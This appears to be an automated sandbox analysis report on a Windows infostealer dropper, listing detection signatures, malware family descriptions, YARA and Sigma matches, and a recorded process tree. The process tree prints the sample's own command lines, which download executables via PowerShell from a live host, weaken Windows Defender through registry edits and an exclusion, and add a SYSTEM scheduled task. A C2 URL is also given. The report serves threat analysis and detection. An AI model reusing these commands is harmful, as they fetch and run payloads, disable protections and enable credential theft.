Edit tour
Windows
Analysis Report
file.exe
Overview
General Information
Detection
Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Benign windows process drops PE files
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Set custom UserAgent and download file via Powershell
Snort IDS alert for network traffic
Yara detected Mars stealer
Yara detected PureLog Stealer
Yara detected RedLine Stealer
Yara detected Stealc
Yara detected UAC Bypass using CMSTP
Yara detected Vidar stealer
Yara detected zgRAT
C2 URLs / IPs found in malware configuration
Checks if the current machine is a virtual machine (disk enumeration)
Creates files in the recycle bin to hide itself
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain (may stop execution after checking locale)
Found hidden mapped module (file has been removed from disk)
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies Group Policy settings
Modifies Windows Defender protection settings
Performs DNS queries to domains with low reputation
Powershell drops PE file
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell DownloadFile
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses cmd line tools excessively to alter registry or file data
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Creates job files (autostart)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
PE file contains strange resources
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries keyboard layouts
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Suspicious desktop.ini Action
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- file.exe (PID: 3012 cmdline:
"C:\Users\ user\Deskt op\file.ex e" MD5: 6781C522F3390CC4947959D168E61BBC) - cmd.exe (PID: 2704 cmdline:
"cmd" /c " C:\Users\u ser\AppDat a\Local\Te mp\nsg4683 .tmp\load. bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5812 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3408 cmdline:
powershell -Command "(New-Obje ct Net.Web Client).Do wnloadFile ('https:// dsepc5ud74 wta.cloudf ront.net/l oad/th.php ?c=1000',' stat')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - powershell.exe (PID: 5040 cmdline:
powershell -Command "(New-Obje ct Net.Web Client).Do wnloadFile ('https:// dsepc5ud74 wta.cloudf ront.net/l oad/dl.php ?id=425&c= 1000','i1. exe')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - i1.exe (PID: 6972 cmdline:
i1.exe /SU B=28381000 /str=one MD5: AE73EB4CBE39E4A9E28A367331329A12) - u5do.0.exe (PID: 2968 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\u5do.0 .exe" MD5: 80E0FECE33768E20034D106DB0D36341) - run.exe (PID: 4180 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\u5do.2 \run.exe" MD5: 9FB4770CED09AAE3B437C1C6EB6D7334) - cmd.exe (PID: 1292 cmdline:
C:\Windows \SysWOW64\ cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1784 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - u5do.3.exe (PID: 2848 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\u5do.3 .exe" MD5: 397926927BCA55BE4A77839B1C44DE6E) - WerFault.exe (PID: 7044 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -u -p 6 972 -s 142 0 MD5: C31336C1EFC2CCB44B4326EA793040F2) - powershell.exe (PID: 5756 cmdline:
powershell -command "$cli = Ne w-Object S ystem.Net. WebClient; $cli.Heade rs['User-A gent'] = ' InnoDownlo adPlugin/1 .5';$cli.D ownloadFil e('https:/ /dsepc5ud7 4wta.cloud front.net/ load/dl.ph p?id=444', 'i2.bat') " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - powershell.exe (PID: 3480 cmdline:
powershell -Command "(New-Obje ct Net.Web Client).Do wnloadFile ('https:// dsepc5ud74 wta.cloudf ront.net/l oad/dl.php ?id=456',' i3.exe')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - i3.exe (PID: 6092 cmdline:
i3.exe MD5: 17704F5C7895ADD518E691A997D765FA) - Install.exe (PID: 5952 cmdline:
.\Install. exe /EdidW TW "385128 " /S MD5: 90487EB500021DBCB9443A2CF972A204) - cmd.exe (PID: 5948 cmdline:
"C:\Window s\System32 \cmd.exe" /C forfile s /p c:\wi ndows\syst em32 /m wh ere.exe /c "cmd /C r eg add \"H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction\" /f /v 214 7735503 /t REG_SZ /d 6" & forf iles /p c: \windows\s ystem32 /m calc.exe /c "cmd /C reg add \ "HKLM\SOFT WARE\Polic ies\Micros oft\Window s Defender \Threats\T hreatIDDef aultAction \" /f /v 2 147814524 /t REG_SZ /d 6" & fo rfiles /p c:\windows \system32 /m where.e xe /c "cmd /C reg ad d \"HKLM\S OFTWARE\Po licies\Mic rosoft\Win dows Defen der\Threat s\ThreatID DefaultAct ion\" /f / v 21477801 99 /t REG_ SZ /d 6" & forfiles /p c:\wind ows\system 32 /m wait for.exe /c "cmd /C r eg add \"H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction\" /f /v 214 7812831 /t REG_SZ /d 6" & forf iles /p c: \windows\s ystem32 /m help.exe /c "cmd /C powershel l start-pr ocess -Win dowStyle H idden gpup date.exe / force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1200 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - forfiles.exe (PID: 4500 cmdline:
forfiles / p c:\windo ws\system3 2 /m where .exe /c "c md /C reg add \"HKLM \SOFTWARE\ Policies\M icrosoft\W indows Def ender\Thre ats\Threat IDDefaultA ction\" /f /v 214773 5503 /t RE G_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 4952 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 6136 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - forfiles.exe (PID: 1772 cmdline:
forfiles / p c:\windo ws\system3 2 /m calc. exe /c "cm d /C reg a dd \"HKLM\ SOFTWARE\P olicies\Mi crosoft\Wi ndows Defe nder\Threa ts\ThreatI DDefaultAc tion\" /f /v 2147814 524 /t REG _SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 6208 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 5080 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - forfiles.exe (PID: 5512 cmdline:
forfiles / p c:\windo ws\system3 2 /m where .exe /c "c md /C reg add \"HKLM \SOFTWARE\ Policies\M icrosoft\W indows Def ender\Thre ats\Threat IDDefaultA ction\" /f /v 214778 0199 /t RE G_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 6476 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 2828 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - forfiles.exe (PID: 6552 cmdline:
forfiles / p c:\windo ws\system3 2 /m waitf or.exe /c "cmd /C re g add \"HK LM\SOFTWAR E\Policies \Microsoft \Windows D efender\Th reats\Thre atIDDefaul tAction\" /f /v 2147 812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 1976 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 2972 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - forfiles.exe (PID: 6548 cmdline:
forfiles / p c:\windo ws\system3 2 /m help. exe /c "cm d /C power shell star t-process -WindowSty le Hidden gpupdate.e xe /force" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 6120 cmdline:
/C powersh ell start- process -W indowStyle Hidden gp update.exe /force MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - powershell.exe (PID: 5356 cmdline:
powershell start-pr ocess -Win dowStyle H idden gpup date.exe / force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - gpupdate.exe (PID: 2020 cmdline:
"C:\Window s\system32 \gpupdate. exe" /forc e MD5: 6DC3720EA74B49C8ED64ACA3E0162AC8) - conhost.exe (PID: 2292 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - forfiles.exe (PID: 2636 cmdline:
"C:\Window s\System32 \forfiles. exe" /p c: \windows\s ystem32 /m where.exe /c "cmd / C powershe ll -Window Style Hidd en WMIC /N AMESPACE:\ \root\Micr osoft\Wind ows\Defend er PATH MS FT_MpPrefe rence call Add Exclu sionExtens ion=exe Fo rce=True" MD5: D95C443851F70F77427B3183B1619DD3) - conhost.exe (PID: 4720 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 1880 cmdline:
/C powersh ell -Windo wStyle Hid den WMIC / NAMESPACE: \\root\Mic rosoft\Win dows\Defen der PATH M SFT_MpPref erence cal l Add Excl usionExten sion=exe F orce=True MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - powershell.exe (PID: 5348 cmdline:
powershell -WindowSt yle Hidden WMIC /NAM ESPACE:\\r oot\Micros oft\Window s\Defender PATH MSFT _MpPrefere nce call A dd Exclusi onExtensio n=exe Forc e=True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - WMIC.exe (PID: 5912 cmdline:
"C:\Window s\System32 \Wbem\WMIC .exe" /NAM ESPACE:\\r oot\Micros oft\Window s\Defender PATH MSFT _MpPrefere nce call A dd Exclusi onExtensio n=exe Forc e=True MD5: E2DE6500DE1148C7F6027AD50AC8B891) - schtasks.exe (PID: 3836 cmdline:
schtasks / CREATE /TN "biPxHmUL FllsbMgnpt " /SC once /ST 11:07 :00 /RU "S YSTEM" /TR "\"C:\Use rs\user\Ap pData\Loca l\Temp\7zS 9CFF.tmp\I nstall.exe \" Wt /QQn didSCwP 38 5128 /S" / V1 /F MD5: 48C2FE20575769DE916F48EF0676A965) - conhost.exe (PID: 744 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - forfiles.exe (PID: 4448 cmdline:
"C:\Window s\System32 \forfiles. exe" /p c: \windows\s ystem32 /m waitfor.e xe /c "cmd /C schtas ks /run /I /tn biPxH mULFllsbMg npt" MD5: D95C443851F70F77427B3183B1619DD3) - conhost.exe (PID: 1976 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5348 cmdline:
/C schtask s /run /I /tn biPxHm ULFllsbMgn pt MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - schtasks.exe (PID: 2828 cmdline:
schtasks / run /I /tn biPxHmULF llsbMgnpt MD5: 48C2FE20575769DE916F48EF0676A965)
- svchost.exe (PID: 2668 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- Install.exe (PID: 2636 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\7zS9CFF .tmp\Insta ll.exe Wt /QQndidSCw P 385128 / S MD5: 90487EB500021DBCB9443A2CF972A204) - cmd.exe (PID: 2788 cmdline:
"C:\Window s\System32 \cmd.exe" /C forfile s /p c:\wi ndows\syst em32 /m wh ere.exe /c "cmd /C r eg add \"H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction\" /f /v 214 7735503 /t REG_SZ /d 6" & forf iles /p c: \windows\s ystem32 /m calc.exe /c "cmd /C reg add \ "HKLM\SOFT WARE\Polic ies\Micros oft\Window s Defender \Threats\T hreatIDDef aultAction \" /f /v 2 147814524 /t REG_SZ /d 6" & fo rfiles /p c:\windows \system32 /m where.e xe /c "cmd /C reg ad d \"HKLM\S OFTWARE\Po licies\Mic rosoft\Win dows Defen der\Threat s\ThreatID DefaultAct ion\" /f / v 21477801 99 /t REG_ SZ /d 6" & forfiles /p c:\wind ows\system 32 /m wait for.exe /c "cmd /C r eg add \"H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction\" /f /v 214 7812831 /t REG_SZ /d 6" & forf iles /p c: \windows\s ystem32 /m help.exe /c "cmd /C powershel l start-pr ocess -Win dowStyle H idden gpup date.exe / force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 348 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - forfiles.exe (PID: 744 cmdline:
forfiles / p c:\windo ws\system3 2 /m where .exe /c "c md /C reg add \"HKLM \SOFTWARE\ Policies\M icrosoft\W indows Def ender\Thre ats\Threat IDDefaultA ction\" /f /v 214773 5503 /t RE G_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 3636 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 1880 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - forfiles.exe (PID: 4524 cmdline:
forfiles / p c:\windo ws\system3 2 /m calc. exe /c "cm d /C reg a dd \"HKLM\ SOFTWARE\P olicies\Mi crosoft\Wi ndows Defe nder\Threa ts\ThreatI DDefaultAc tion\" /f /v 2147814 524 /t REG _SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 6180 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 4672 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - forfiles.exe (PID: 5040 cmdline:
forfiles / p c:\windo ws\system3 2 /m where .exe /c "c md /C reg add \"HKLM \SOFTWARE\ Policies\M icrosoft\W indows Def ender\Thre ats\Threat IDDefaultA ction\" /f /v 214778 0199 /t RE G_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 6584 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 1472 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - forfiles.exe (PID: 1876 cmdline:
forfiles / p c:\windo ws\system3 2 /m waitf or.exe /c "cmd /C re g add \"HK LM\SOFTWAR E\Policies \Microsoft \Windows D efender\Th reats\Thre atIDDefaul tAction\" /f /v 2147 812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3) - cmd.exe (PID: 1976 cmdline:
/C reg add "HKLM\SOF TWARE\Poli cies\Micro soft\Windo ws Defende r\Threats\ ThreatIDDe faultActio n" /f /v 2 147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - reg.exe (PID: 3944 cmdline:
reg add "H KLM\SOFTWA RE\Policie s\Microsof t\Windows Defender\T hreats\Thr eatIDDefau ltAction" /f /v 2147 812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
RedLine Stealer | RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Stealc | Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Vidar | Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
zgRAT | zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on. | No Attribution |
{"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Stealc_1 | Yara detected Stealc | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_RedLine | Yara detected RedLine Stealer | Joe Security | ||
MALWARE_Win_Arechclient2 | Detects Arechclient2 RAT | ditekSHen |
| |
JoeSecurity_DelphiSystemParamCount | Detected Delphi use of System.ParamCount() | Joe Security | ||
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
Click to see the 3 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_DelphiSystemParamCount | Detected Delphi use of System.ParamCount() | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_MarsStealer | Yara detected Mars stealer | Joe Security | ||
Windows_Trojan_Smokeloader_3687686f | unknown | unknown |
| |
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Click to see the 21 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_MarsStealer | Yara detected Mars stealer | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
JoeSecurity_MarsStealer | Yara detected Mars stealer | Joe Security | ||
JoeSecurity_Vidar_1 | Yara detected Vidar stealer | Joe Security | ||
Click to see the 26 entries |
System Summary |
---|
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Subhash Popuri (@pbssubhash): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |